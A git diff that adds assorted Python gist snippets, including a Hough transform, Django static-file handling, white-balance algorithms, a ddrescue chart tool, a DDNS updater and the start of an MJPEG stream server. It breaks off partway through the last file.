+def hough_lines_acc(img, rho_resolution=1, theta_resolution=1):
+    ''' A function for creating a Hough Accumulator for lines in an image. '''
+    height, width = img.shape # we need heigth and width to calculate the diag
+    img_diagonal = np.ceil(np.sqrt(height**2 + width**2)) # a**2 + b**2 = c**2
+    rhos = np.arange(-img_diagonal, img_diagonal + 1, rho_resolution)
+    thetas = np.deg2rad(np.arange(-90, 90, theta_resolution))
+
+    # create the empty Hough Accumulator with dimensions equal to the size of
+    # rhos and thetas
+    H = np.zeros((len(rhos), len(thetas)), dtype=np.uint64)
+    y_idxs, x_idxs = np.nonzero(img) # find all edge (nonzero) pixel indexes
+
+    for i in range(len(x_idxs)): # cycle through edge points
+        x = x_idxs[i]
+        y = y_idxs[i]
+
+        for j in range(len(thetas)): # cycle through thetas and calc rho
+            rho = int((x * np.cos(thetas[j]) +
+                       y * np.sin(thetas[j])) + img_diagonal)
+            H[rho, j] += 1
+
+    return H, rhos, thetas
+
+
+# This is a simple peaks function that just finds the indicies of the number
+# of maximum values equal to num_peaks.  You have to be careful here though, if
+# there's any noise in the image it will like create a 'pocket' of local maxima
+# values.  This function ignores this and in turn has the tendancy to return
+# multiple lines along an actual line in the image.
+def hough_simple_peaks(H, num_peaks):
+    ''' A function that returns the number of indicies = num_peaks of the
+        accumulator array H that correspond to local maxima. '''
+    indices =  np.argpartition(H.flatten(), -2)[-num_peaks:]
+    return np.vstack(np.unravel_index(indices, H.shape)).T
+
+
+# This more advance Hough peaks funciton has threshold and nhood_size arguments
+# threshold will threshold the peak values to be above this value if supplied,
+# where as nhood_size will surpress the surrounding pixels centered around
+# the local maximum after that value has been assigned as a peak.  This will
+# force the algorithm to look eslwhere after it's already selected a point from
+# a 'pocket' of local maxima.
+def hough_peaks(H, num_peaks, threshold=0, nhood_size=3):
+    ''' A function that returns the indicies of the accumulator array H that
+        correspond to a local maxima.  If threshold is active all values less
+        than this value will be ignored, if neighborhood_size is greater than
+        (1, 1) this number of indicies around the maximum will be surpessed. '''
+    # loop through number of peaks to identify
+    indicies = []
+    H1 = np.copy(H)
+    for i in range(num_peaks):
+        idx = np.argmax(H1) # find argmax in flattened array
+        H1_idx = np.unravel_index(idx, H1.shape) # remap to shape of H
+        indicies.append(H1_idx)
+
+        # surpess indicies in neighborhood
+        idx_y, idx_x = H1_idx # first separate x, y indexes from argmax(H)
+        # if idx_x is too close to the edges choose appropriate values
+        if (idx_x - (nhood_size/2)) < 0: min_x = 0
+        else: min_x = idx_x - (nhood_size/2)
+        if ((idx_x + (nhood_size/2) + 1) > H.shape[1]): max_x = H.shape[1]
+        else: max_x = idx_x + (nhood_size/2) + 1
+
+        # if idx_y is too close to the edges choose appropriate values
+        if (idx_y - (nhood_size/2)) < 0: min_y = 0
+        else: min_y = idx_y - (nhood_size/2)
+        if ((idx_y + (nhood_size/2) + 1) > H.shape[0]): max_y = H.shape[0]
+        else: max_y = idx_y + (nhood_size/2) + 1
+
+        # bound each index by the neighborhood size and set all values to 0
+        for x in range(min_x, max_x):
+            for y in range(min_y, max_y):
+                # remove neighborhoods in H1
+                H1[y, x] = 0
+
+                # highlight peaks in original H
+                if (x == min_x or x == (max_x - 1)):
+                    H[y, x] = 255
+                if (y == min_y or y == (max_y - 1)):
+                    H[y, x] = 255
+
+    # return the indicies and the original Hough space with selected points
+    return indicies, H
+
+
+# a simple funciton used to plot a Hough Accumulator
+def plot_hough_acc(H, plot_title='Hough Accumulator Plot'):
+    ''' A function that plot a Hough Space using Matplotlib. '''
+    fig = plt.figure(figsize=(10, 10))
+    fig.canvas.set_window_title(plot_title)
+    	
+    plt.imshow(H, cmap='jet')
+
+    plt.xlabel('Theta Direction'), plt.ylabel('Rho Direction')
+    plt.tight_layout()
+    plt.show()
+
+
+# drawing the lines from the Hough Accumulatorlines using OpevCV cv2.line
+def hough_lines_draw(img, indicies, rhos, thetas):
+    ''' A function that takes indicies a rhos table and thetas table and draws
+        lines on the input images that correspond to these values. '''
+    for i in range(len(indicies)):
+        # reverse engineer lines from rhos and thetas
+        rho = rhos[indicies[i][0]]
+        theta = thetas[indicies[i][1]]
+        a = np.cos(theta)
+        b = np.sin(theta)
+        x0 = a*rho
+        y0 = b*rho
+        # these are then scaled so that the lines go off the edges of the image
+        x1 = int(x0 + 1000*(-b))
+        y1 = int(y0 + 1000*(a))
+        x2 = int(x0 - 1000*(-b))
+        y2 = int(y0 - 1000*(a))
+
+        cv2.line(img, (x1, y1), (x2, y2), (0, 255, 0), 2)
+
+
+# run hough_lines_accumulator on the shapes canny_edges image
+H, rhos, thetas = hough_lines_acc(canny_edges)
+indicies, H = hough_peaks(H, 3, nhood_size=11) # find peaks
+plot_hough_acc(H) # plot hough space, brighter spots have higher votes
+hough_lines_draw(shapes, indicies, rhos, thetas)
+
+# Show image with manual Hough Transform Lines
+cv2.imshow('Major Lines: Manual Hough Transform', shapes)
+cv2.waitKey(0)
+cv2.destroyAllWindows()
diff --git a/hard-gists/45ce9f33615a3b24c51f/._snippet.py b/hard-gists/45ce9f33615a3b24c51f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/45ce9f33615a3b24c51f/._snippet.py differ
diff --git a/hard-gists/45ce9f33615a3b24c51f/snippet.py b/hard-gists/45ce9f33615a3b24c51f/snippet.py
new file mode 100644
index 00000000..38dc5546
--- /dev/null
+++ b/hard-gists/45ce9f33615a3b24c51f/snippet.py
@@ -0,0 +1,25 @@
+from django.conf import settings
+from whitenoise.django import DjangoWhiteNoise
+
+
+class DjangoCompressWhiteNoise(DjangoWhiteNoise):
+    def __call__(self, environ, start_response):
+        # Handle files generated on the fly by django-compressor
+        url = environ['PATH_INFO']
+        if url.startswith(self.static_prefix) and url not in self.files:
+            if self.is_compressed_file(url):
+                self.files[url] = self.find_file(url)
+
+        return super().__call__(environ, start_response)
+
+    def is_compressed_file(self, url):
+        if not url.startswith(self.static_prefix):
+            return False
+        path = url[len(self.static_prefix):]
+        return path.startswith(settings.COMPRESS_OUTPUT_DIR + "/")
+
+    def is_immutable_file(self, path, url):
+        if self.is_compressed_file(url):
+            return True
+        else:
+            return super().is_immutable_file(path, url)
\ No newline at end of file
diff --git a/hard-gists/4603234/._snippet.py b/hard-gists/4603234/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4603234/._snippet.py differ
diff --git a/hard-gists/4603234/snippet.py b/hard-gists/4603234/snippet.py
new file mode 100644
index 00000000..54243e22
--- /dev/null
+++ b/hard-gists/4603234/snippet.py
@@ -0,0 +1,141 @@
+# -*- coding: utf-8 -*-
+import numpy as np
+import Image
+import sys
+
+def from_pil(pimg):
+    pimg = pimg.convert(mode='RGB')
+    nimg = np.asarray(pimg)
+    nimg.flags.writeable = True
+    return nimg
+
+def to_pil(nimg):
+    return Image.fromarray(np.uint8(nimg))
+
+def stretch_pre(nimg):
+    """
+    from 'Applicability Of White-Balancing Algorithms to Restoring Faded Colour Slides: An Empirical Evaluation'
+    """
+    nimg = nimg.transpose(2, 0, 1)
+    nimg[0] = np.maximum(nimg[0]-nimg[0].min(),0)
+    nimg[1] = np.maximum(nimg[1]-nimg[1].min(),0)
+    nimg[2] = np.maximum(nimg[2]-nimg[2].min(),0)
+    return nimg.transpose(1, 2, 0)
+
+def grey_world(nimg):
+    nimg = nimg.transpose(2, 0, 1).astype(np.uint32)
+    mu_g = np.average(nimg[1])
+    nimg[0] = np.minimum(nimg[0]*(mu_g/np.average(nimg[0])),255)
+    nimg[2] = np.minimum(nimg[2]*(mu_g/np.average(nimg[2])),255)
+    return  nimg.transpose(1, 2, 0).astype(np.uint8)
+
+def max_white(nimg):
+    if nimg.dtype==np.uint8:
+        brightest=float(2**8)
+    elif nimg.dtype==np.uint16:
+        brightest=float(2**16)
+    elif nimg.dtype==np.uint32:
+        brightest=float(2**32)
+    else:
+        brightest==float(2**8)
+    nimg = nimg.transpose(2, 0, 1)
+    nimg = nimg.astype(np.int32)
+    nimg[0] = np.minimum(nimg[0] * (brightest/float(nimg[0].max())),255)
+    nimg[1] = np.minimum(nimg[1] * (brightest/float(nimg[1].max())),255)
+    nimg[2] = np.minimum(nimg[2] * (brightest/float(nimg[2].max())),255)
+    return nimg.transpose(1, 2, 0).astype(np.uint8)
+
+def stretch(nimg):
+    return max_white(stretch_pre(nimg))
+
+def retinex(nimg):
+    nimg = nimg.transpose(2, 0, 1).astype(np.uint32)
+    mu_g = nimg[1].max()
+    nimg[0] = np.minimum(nimg[0]*(mu_g/float(nimg[0].max())),255)
+    nimg[2] = np.minimum(nimg[2]*(mu_g/float(nimg[2].max())),255)
+    return nimg.transpose(1, 2, 0).astype(np.uint8)
+
+def retinex_adjust(nimg):
+    """
+    from 'Combining Gray World and Retinex Theory for Automatic White Balance in Digital Photography'
+    """
+    nimg = nimg.transpose(2, 0, 1).astype(np.uint32)
+    sum_r = np.sum(nimg[0])
+    sum_r2 = np.sum(nimg[0]**2)
+    max_r = nimg[0].max()
+    max_r2 = max_r**2
+    sum_g = np.sum(nimg[1])
+    max_g = nimg[1].max()
+    coefficient = np.linalg.solve(np.array([[sum_r2,sum_r],[max_r2,max_r]]),
+                                  np.array([sum_g,max_g]))
+    nimg[0] = np.minimum((nimg[0]**2)*coefficient[0] + nimg[0]*coefficient[1],255)
+    sum_b = np.sum(nimg[1])
+    sum_b2 = np.sum(nimg[1]**2)
+    max_b = nimg[1].max()
+    max_b2 = max_r**2
+    coefficient = np.linalg.solve(np.array([[sum_b2,sum_b],[max_b2,max_b]]),
+                                             np.array([sum_g,max_g]))
+    nimg[1] = np.minimum((nimg[1]**2)*coefficient[0] + nimg[1]*coefficient[1],255)
+    return nimg.transpose(1, 2, 0).astype(np.uint8)
+
+def retinex_with_adjust(nimg):
+    return retinex_adjust(retinex(nimg))
+
+def standard_deviation_weighted_grey_world(nimg,subwidth,subheight):
+    """
+    This function does not work correctly
+    """
+    nimg = nimg.astype(np.uint32)
+    height, width,ch = nimg.shape
+    strides = nimg.itemsize*np.array([width*subheight,subwidth,width,3,1])
+    shape = (height/subheight, width/subwidth, subheight, subwidth,3)
+    blocks = np.lib.stride_tricks.as_strided(nimg, shape=shape, strides=strides)
+    y,x = blocks.shape[:2]
+    std_r = np.zeros([y,x],dtype=np.float16)
+    std_g = np.zeros([y,x],dtype=np.float16)
+    std_b = np.zeros([y,x],dtype=np.float16)
+    std_r_sum = 0.0
+    std_g_sum = 0.0
+    std_b_sum = 0.0
+    for i in xrange(y):
+        for j in xrange(x):
+            subblock = blocks[i,j]
+            subb = subblock.transpose(2, 0, 1)
+            std_r[i,j]=np.std(subb[0])
+            std_g[i,j]=np.std(subb[1])
+            std_b[i,j]=np.std(subb[2])
+            std_r_sum += std_r[i,j]
+            std_g_sum += std_g[i,j]
+            std_b_sum += std_b[i,j]
+    sdwa_r = 0.0
+    sdwa_g = 0.0
+    sdwa_b = 0.0
+    for i in xrange(y):
+        for j in xrange(x):
+            subblock = blocks[i,j]
+            subb = subblock.transpose(2, 0, 1)
+            mean_r=np.mean(subb[0])
+            mean_g=np.mean(subb[1])
+            mean_b=np.mean(subb[2])
+            sdwa_r += (std_r[i,j]/std_r_sum)*mean_r
+            sdwa_g += (std_g[i,j]/std_g_sum)*mean_g
+            sdwa_b += (std_b[i,j]/std_b_sum)*mean_b
+    sdwa_avg = (sdwa_r+sdwa_g+sdwa_b)/3
+    gain_r = sdwa_avg/sdwa_r
+    gain_g = sdwa_avg/sdwa_g
+    gain_b = sdwa_avg/sdwa_b
+    nimg = nimg.transpose(2, 0, 1)
+    nimg[0] = np.minimum(nimg[0]*gain_r,255)
+    nimg[1] = np.minimum(nimg[1]*gain_g,255)
+    nimg[2] = np.minimum(nimg[2]*gain_b,255)
+    return nimg.transpose(1, 2, 0).astype(np.uint8)
+
+if __name__=="__main__":
+    img = Image.open(sys.argv[1])
+    img.show()
+    to_pil(stretch(from_pil(img))).show()
+    to_pil(grey_world(from_pil(img))).show()
+    to_pil(retinex(from_pil(img))).show()
+    to_pil(max_white(from_pil(img))).show()
+    to_pil(retinex_adjust(retinex(from_pil(img)))).show()
+    to_pil(standard_deviation_weighted_grey_world(from_pil(img),50,50)).show()
\ No newline at end of file
diff --git a/hard-gists/4604508/._snippet.py b/hard-gists/4604508/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4604508/._snippet.py differ
diff --git a/hard-gists/4604508/snippet.py b/hard-gists/4604508/snippet.py
new file mode 100644
index 00000000..235a5bc3
--- /dev/null
+++ b/hard-gists/4604508/snippet.py
@@ -0,0 +1,181 @@
+#!/usr/bin/python
+
+import argparse
+import sys
+import math
+import operator
+import itertools
+import Image, ImageDraw
+
+# http://stackoverflow.com/questions/14423794/equivalent-of-haskell-scanl-in-python
+def scanl(f, base, l):
+    yield base
+    for x in l:
+        base = f(base, x)
+        yield base
+
+
+# scanl'
+def scanl_(f, l):
+    return scanl(f, l[0], itertools.islice(l, 1, None))
+
+
+def draw_chart(data,
+               width=2400, height=60,
+               minWidth=1, isLogarithmicWidth=False,
+               lastfill=(0, 0, 0),
+               split=1,
+               vspan=None,
+               tics=0,
+               color_tics="#000000",
+               print_label=False):
+    if vspan is None: vspan = height
+    conv = (lambda x: int(math.log(x))) if isLogarithmicWidth else lambda x: x
+    size = [i[1] for i in data]
+    ssum = list(scanl(operator.add, 0, size))
+    tics_size = [ssum[-1]*i/(1+tics) for i in range(1, 1+tics)]
+    conved_size = [conv(i) for i in size]
+    total_size = sum(conved_size)
+    total_count = len(data)
+    assert total_count * minWidth <= width
+    width_list = [(minWidth
+                   + round((width - total_count * minWidth)
+                           * i * 1.0 / total_size)) for i in conved_size]
+    actual_width = sum(width_list)
+    pos_list = scanl(operator.add, 0, width_list)
+    color_list = (i[2] for i in data)
+
+    image = Image.new("RGB", (width, height), (0xff, 0xff, 0xff))
+    draw = ImageDraw.Draw(image)
+    cur_tic = 0
+    for i, (p, w, c) in enumerate(itertools.izip(pos_list, width_list, color_list)):
+        draw.rectangle(((p, 0), (p+w, height)), fill=c)
+        label_pos = "0x%08X" % data[i][0]
+        label_len = "0x%08X" % data[i][1]
+        rect_pos = draw.textsize(label_pos)
+        rect_len = draw.textsize(label_len)
+        if (print_label
+            and max(rect_pos[0], rect_len[0]) <= w
+            and rect_pos[1] + rect_len[1] <= vspan):
+            # match size
+            draw.text((p, 0), label_pos, fill=(0, 0, 0))
+            draw.text((p, rect_pos[1]), label_len, fill=(0, 0, 0))
+        while cur_tic < tics and ssum[i] <= tics_size[cur_tic] < ssum[i+1]:
+            p2 = p + (tics_size[cur_tic] - ssum[i]) * w / size[i]
+            draw.rectangle((p2-1, height/2-1, p2+1, height/2+1),
+                           fill=color_tics)
+            cur_tic += 1
+    draw.rectangle(((actual_width, 0), (width, height)), fill=lastfill)
+
+    if split == 1: return image
+    assert width / split * split == width
+    image_ = Image.new("RGB", (width/split, vspan*split), lastfill)
+    for i in xrange(split):
+        image_.paste(image.crop((i*width/split, 0, (i+1)*width/split, height)),
+                     (0, i*vspan, width/split, i*vspan+height))
+    return image_
+
+
+COLOR_NON_TRIED   = (0x99, 0x99, 0x99)
+COLOR_NON_TRIMMED = (0x33, 0xff, 0x00)
+COLOR_NON_SPLIT   = (0xff, 0x99, 0x00)
+COLOR_BAD_SECTOR  = (0x99, 0x00, 0x00)
+COLOR_FINISHED    = (0x00, 0x66, 0xff)
+
+
+MONOCHROME_NON_TRIED   = (0xbb, 0xbb, 0xbb)
+MONOCHROME_NON_TRIMMED = (0x99, 0x99, 0x99)
+MONOCHROME_NON_SPLIT   = (0x66, 0x66, 0x66)
+MONOCHROME_BAD_SECTOR  = (0x33, 0x33, 0x33)
+MONOCHROME_FINISHED    = (0xee, 0xee, 0xee)
+
+
+def s2color_c(c):
+    if False: pass
+    elif c == '?': return COLOR_NON_TRIED
+    elif c == '*': return COLOR_NON_TRIMMED
+    elif c == '/': return COLOR_NON_SPLIT
+    elif c == '-': return COLOR_BAD_SECTOR
+    elif c == '+': return COLOR_FINISHED
+    else:
+        raise ValueError("unexpected state character" ++ c)
+
+
+def s2color_m(c):
+    if False: pass
+    elif c == '?': return MONOCHROME_NON_TRIED
+    elif c == '*': return MONOCHROME_NON_TRIMMED
+    elif c == '/': return MONOCHROME_NON_SPLIT
+    elif c == '-': return MONOCHROME_BAD_SECTOR
+    elif c == '+': return MONOCHROME_FINISHED
+    else:
+        raise ValueError("unexpected state character" ++ c)
+
+
+def s2color(c, isMonochrome):
+    return s2color_m(c) if isMonochrome else s2color_c(c)
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Draw GNU ddrescue chart.")
+    parser.add_argument("-m", "--monochrome",
+                        action='store_true',
+                        help="Make output image monochrome.")
+    parser.add_argument("-l", "--logarithmic-width",
+                        action='store_true',
+                        help="Use logarithmic width instead of linear scale.")
+    parser.add_argument("-w", "--width",
+                        type=int, default=2400,
+                        help="Total width of bar, not actual width of output.")
+    parser.add_argument("-t", "--height",
+                        type=int, default=40,
+                        help="height of bar, not actual height of output.")
+    parser.add_argument("-s", "--split",
+                        type=int, default=1,
+                        help="How many rows in the output image.")
+    parser.add_argument("-p", "--vspan",
+                        type=int, default=50,
+                        help="vertical span of bar.")
+    parser.add_argument("--tics",
+                        type=int, default=0,
+                        help="the number of tics in the bar.")
+    parser.add_argument("--print-label",
+                        action='store_true',
+                        help="print labels on cells.")
+    parser.add_argument("source",
+                        help="GNU ddrescue logfile.")
+    parser.add_argument("destination",
+                        help="Output image file.")
+    args = parser.parse_args()
+    FILE = args.source
+    DEST = args.destination
+    state = []
+    cursor = ()
+    with open(FILE, "r") as f:
+        for l in f:
+            if l[0] == '#': continue
+            ltuple = l.strip().split()
+            if len(ltuple) == 2:
+                cursor = l
+            elif len(ltuple) == 3:
+                x, y, z = ltuple
+                state.append((int(x, 16), int(y, 16), s2color(z, args.monochrome)))
+            else:
+                print >>sys.stderr, "Unexpected format."
+                exit()
+    lf = (0xff, 0xff, 0xff) if args.monochrome else (0, 0, 0)
+    im = draw_chart(state,
+                    isLogarithmicWidth=args.logarithmic_width,
+                    minWidth=(0 if args.logarithmic_width else 1),
+                    lastfill=lf,
+                    width=args.width, height=args.height,
+                    split=args.split, vspan=args.vspan,
+                    tics=args.tics,
+                    print_label=args.print_label)
+    if args.monochrome:
+        im.convert("L")
+    im.save(DEST)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/4619865/._snippet.py b/hard-gists/4619865/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4619865/._snippet.py differ
diff --git a/hard-gists/4619865/snippet.py b/hard-gists/4619865/snippet.py
new file mode 100644
index 00000000..a3ee290c
--- /dev/null
+++ b/hard-gists/4619865/snippet.py
@@ -0,0 +1,290 @@
+#!/usr/bin/env python2.7
+# Matt's DNS management tool
+# Manage DNS using DDNS features
+#
+# See http://planetfoo.org/blog/archive/2012/01/24/a-better-nsupdate/
+#
+# Usage: dnsupdate -s server -k key -t ttl add _minecraft._tcp.mc.example.com SRV 0 0 25566 mc.example.com.
+# -h HELP!
+# -s the server
+# -k the key
+# -t the ttl
+# the action (add, delete, replace) and record specific parameters
+
+import argparse 
+import textwrap
+import re
+import dns.query
+import dns.tsigkeyring
+import dns.update
+import dns.reversename
+import dns.resolver
+from dns.exception import DNSException, SyntaxError
+
+Verbose = False
+#
+# Let's use argparser!
+def getArgs():
+    # Setup a argument parser to collect the values we need
+    Args = argparse.ArgumentParser(usage='%(prog)s [-h] {-s} {-k} {-o} [-x] {add|delete|update} {Name} {TTL} [IN] {Type} {Target}', description='Add, Delete, Replace DNS records using DDNS.')
+
+    # -s - The Server
+    Args.add_argument('-s', dest='Server', required=True, 
+                      help='DNS server to update (Required)')
+
+    # -k - The Key
+    Args.add_argument('-k', dest='Key', required=True, 
+                      help='TSIG key. The TSIG key file should be in DNS KEY record format. (Required)')
+ 
+    # -o - The Origin
+    Args.add_argument('-o', dest='Origin', required=False,
+                      help='Specify the origin. Optional, if not provided origin will be determined')
+
+    # -x - Add Reverse?
+    Args.add_argument('-x', dest='doPTR', action='store_true', 
+                      help='Also modify the PTR for a given A or AAAA record. Forward and reverse zones must be on the same server.')
+
+    # -v - Verbose?
+    Args.add_argument('-v', dest='Verbose', action='store_true',
+                      help='Print the rcode returned with for each update')
+
+    # -t - The TTL
+    Args.add_argument('-t', dest='TimeToLive', required=False, default="600",
+                      help='Specify the TTL. Optional, if not provided TTL will be default to 600.')
+
+    # myInput is a list of additional values required. Actual data varies based on action
+    Args.add_argument('myInput', action='store', nargs='+', metavar='add|delete|update', 
+                       help='{hostname} [IN] {Type} {Target}.')
+
+    myArgs = Args.parse_args()
+    return myArgs
+
+#
+# Is a valid TTL?
+def isValidTTL(TTL):
+    try:
+        TTL = dns.ttl.from_text(TTL)
+    except:
+        print 'TTL:', TTL, 'is not valid'
+        exit()
+    return TTL
+#
+# Is a Valid PTR?
+def isValidPTR(ptr):
+    if re.match(r'\b(?:\d{1,3}\.){3}\d{1,3}.in-addr.arpa\b', ptr):
+        return True
+    else:
+        print 'Error:', ptr, 'is not a valid PTR record'
+        exit() 
+#
+# Is a valid IPV4 address?
+def isValidV4Addr(Address):
+    try:
+        dns.ipv4.inet_aton(Address)
+    except socket.error:
+        print 'Error:', Address, 'is not a valid IPv4 address'
+        exit()
+    return True
+#
+# Is a valid IPv6 address?
+def isValidV6Addr(Address):
+    try:
+        dns.ipv6.inet_aton(Address) 
+    except SyntaxError:
+        print 'Error:', Address, 'is not a valid IPv6 address'
+        exit()
+    return True
+
+def isValidName(Name):
+    if re.match(r'^(([a-zA-Z0-9]|[a-zA-Z0-9\_][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9]\.?)$', Name):
+        return True
+    else:
+        print 'Error:', Name, 'is not a valid name'
+        exit()
+
+def verifymyInput(myInput):
+    # Validate the host and domain name syntax
+    # We're going to make sure that the action and arguments in myInput are valid
+    action = myInput[0].lower()
+    if action != 'add' and action != 'delete' and action != 'del' and action != 'update':
+        print 'FATAL: Invalid action'
+        print 'Usage: dnsupdate [-o origin] -s server -k key [-t ttl] [add|delete|update] [Name] [Type] [Address]'
+        exit()
+    if action == 'delete' or action == 'del': # skip type checks
+        return 'del', None   # Bail out early
+    # We need to know type in order to do some tests so we'll define it here
+    type = myInput[2].upper()
+    # Based on the type of record we're trying to update we'll run some tests
+    if type == 'A' or type == 'AAAA':
+        if len(myInput) < 4:
+            print 'FATAL: not enough options for an A record'
+            print 'Usage: dnsupdate -o origin -s server -k key [-t ttl] add|delete|update Name A Address'
+            exit()
+        isValidName(myInput[1])
+        if type == 'A':
+            isValidV4Addr(myInput[3])
+        elif type == 'AAAA':
+            isValidV6Addr(myInput[3])
+    if type == 'CNAME' or type == 'NS':
+        if len(myInput) < 4:
+            print 'FATAL: not enough options for a CNAME record'
+            print 'Usage: dnsupdate -o origin -s server -k key [-t ttl] add|delete|update Name CNAME Target'
+            exit()
+        isValidName(myInput[1])
+        isValidName(myInput[3])
+    if type == 'PTR':
+        if len(myInput) < 4:
+            print 'Error: not enough options for a PTR record'
+            print 'Usage: dnsupdate -o origin -s server -k key [-t ttl] add|delete|update Name PTR Target'
+            exit()
+#        isValidPTR(myInput[1])
+        isValidName(myInput[3])
+    if type == 'TXT':
+        # Wrap the TXT string in quotes since the quotes get stripped 
+        myInput[3] = '"%s"' % myInput[3]
+    if type == 'MX':
+        if len(myInput) < 4:
+            print 'Error: not enough options for an MX record'
+            print 'Usage: dnsupdate -o origin -s server -k key [-t ttl] add|delete|update Name MX Weight Target'
+        if int(myInput[3]) > 65535 or int(myInput[3]) < 0:
+            print 'Error: Preference must be between 0 - 65535'
+            exit()
+        isValidName(myInput[1])
+        isValidName(myInput[5])
+    if type == 'SRV':
+        if len(myInput) < 6:
+            print 'Error: not enough options for a SRV record'
+            print 'Usage: dnsupdate -o origin -s server -k key [-t ttl] add|delete|update Name SRV Priority Weight Port Target'
+        if int(myInput[3]) > 65535 or int(myInput[3]) < 0:
+            print 'Error: Priority must be between 0 - 65535'
+            exit()
+        if int(myInput[4]) > 65535 or int(myInput[4]) < 0:
+            print 'Error: Weight must be between 0 - 65535'
+            exit()
+        if int(myInput[5]) > 65535 or int(myInput[5]) < 0:
+            print 'Error: Port must be between 0 - 65535'
+            exit()
+        isValidName(myInput[1])
+        isValidName(myInput[6])
+    return action, type
+
+def getKey(FileName):
+    f = open(FileName)
+    keyfile = f.read().splitlines() # Fixed by Kamilion 7/7/13
+    f.close()
+    hostname = keyfile[0].rsplit(' ')[1].replace('"', '').strip()
+    algo = keyfile[1].rsplit(' ')[1].replace(';','').replace('-','_').upper().strip()
+    key = keyfile[2].rsplit(' ')[1].replace('}','').replace(';','').replace('"', '').strip()
+    k = {hostname:key}
+    try:
+        KeyRing = dns.tsigkeyring.from_text(k)
+    except:
+        print k, 'is not a valid key. The file should be in DNS KEY record format. See dnssec-keygen(8)'
+        exit()
+    return [KeyRing, algo]
+
+def genPTR(Address):
+    try:
+        a = dns.reversename.from_address(Address)
+    except:
+        print 'Error:', Address, 'is not a valid IP adresss'
+    return a
+    
+def parseName(Origin, Name):
+    try:
+        n = dns.name.from_text(Name)
+    except:
+        print 'Error:',  n, 'is not a valid name'
+        exit()
+    if Origin is None:
+        Origin = dns.resolver.zone_for_name(n)
+        Name = n.relativize(Origin)
+        return Origin, Name
+    else:
+        try:
+            Origin = dns.name.from_text(Origin)
+        except:
+            print 'Error:',  Name, 'is not a valid origin'
+            exit()
+        Name = n - Origin
+        return Origin, Name
+
+def doUpdate(Server, KeyFile, Origin, TimeToLive, doPTR, myInput):
+    # if the Class is defined (e.g. IN) strip it out
+    if len(myInput) > 2 and myInput[2].upper() == 'IN':
+        myInput.pop(2) 
+
+    # Sanity check the data and get the action and record type 
+    Action, Type = verifymyInput(myInput)
+    TTL = isValidTTL(TimeToLive)
+    # Get the hostname and the origin
+    Origin, Name = parseName(Origin, myInput[1])
+    # Validate and setup the Key
+    KeyRing, KeyAlgo = getKey(KeyFile)
+    # Start constructing the DDNS Query
+    Update = dns.update.Update(Origin, keyring=KeyRing, keyalgorithm=getattr(dns.tsig, KeyAlgo)) # fixed by Kamilion 7/7/13
+    # Put the payload together. 
+    myPayload = ''  # Start with an empty payload.
+    if Type == 'A' or Type == 'AAAA':
+        myPayload = myInput[3]
+        if doPTR == True:
+            ptrTarget = Name.to_text() + '.' + Origin.to_text()
+            ptrOrigin, ptrName = parseName(None, genPTR(myPayload).to_text())
+            ptrUpdate = dns.update.Update(ptrOrigin, keyring=KeyRing)
+    if Action != 'del' and Type == 'CNAME' or Type == 'NS' or Type == 'TXT' or Type == 'PTR':
+        myPayload = myInput[3]
+        do_PTR = False
+    elif Type == 'SRV':
+        myPayload = myInput[3]+' '+myInput[4]+' '+myInput[5]+' '+myInput[6]
+        do_PTR = False
+    elif Type == 'MX':
+        myPayload = myInput[3]+' '+myInput[4]
+        do_PTR = False
+    # Build the update
+    if Action == 'add':
+        Update.add(Name, TTL, Type, myPayload)
+        if doPTR == True:
+            ptrUpdate.add(ptrName, TTL, 'PTR', ptrTarget)
+    elif Action == 'delete' or Action == 'del':
+        if myPayload != '':
+            Update.delete(Name, Type, myPayload)
+        else:
+            Update.delete(Name)
+        if doPTR == True:
+            ptrUpdate.delete(ptrName, 'PTR', ptrTarget)
+    elif Action == 'update':
+        Update.replace(Name, TTL, Type, myPayload)
+        if doPTR == True:
+            ptrUpdate.replace(ptrName, TTL, 'PTR', ptrTarget)
+    # Do the update
+    try:
+        Response = dns.query.tcp(Update, Server)
+    except dns.tsig.PeerBadKey:
+        print 'ERROR: The server is refusing our key'
+        exit()
+    except dns.tsig.PeerBadSignature:
+        print 'ERROR: Something is wrong with the signature of the key'
+        exit()
+    if Verbose == True:
+         print 'Manipulating', Type, 'record for', Name, 'resulted in:', dns.rcode.to_text(Response.rcode())
+    if doPTR == True:
+        try:
+            ptrResponse = dns.query.tcp(ptrUpdate, Server)
+        except dns.tsig.PeerBadKey:
+            print 'ERROR: The server is refusing our key'
+            exit()
+        except dns.tsig.PeerBadSignature:
+            print 'ERROR: Something is wrong with the signature of the key'
+            exit()
+        if Verbose == True:
+            print 'Creating PTR record for', Name, 'resulted in:', dns.rcode.to_text(Response.rcode())
+    #print 'completed.'
+
+def main():
+    myArgs = getArgs()
+    global Verbose
+    if myArgs.Verbose == True:
+        Verbose = True
+    doUpdate(myArgs.Server, myArgs.Key, myArgs.Origin, myArgs.TimeToLive, myArgs.doPTR, myArgs.myInput)
+
+main()
diff --git a/hard-gists/4624820/._snippet.py b/hard-gists/4624820/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4624820/._snippet.py differ
diff --git a/hard-gists/4624820/snippet.py b/hard-gists/4624820/snippet.py
new file mode 100644
index 00000000..12be374c
--- /dev/null
+++ b/hard-gists/4624820/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/python
+'''
+	Author: Igor Maculan - n3wtron@gmail.com
+	A Simple mjpg stream http server
+'''
+import cv2
+import Image
+import threading
+from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
+from SocketServer import ThreadingMixIn
+import StringIO
+import time
+capture=None
+
+class CamHandler(BaseHTTPRequestHandler):
+	def do_GET(self):
+		if self.path.endswith('.mjpg'):
+			self.send_response(200)
+			self.send_header('Content-type','multipart/x-mixed-replace; boundary=--jpgboundary')
+			self.end_headers()
+			while True:
+				try:
+					rc,img = capture.read()
+					if not rc:
+						continue
+					imgRGB=cv2.cvtColor(img,cv2.COLOR_BGR2RGB)
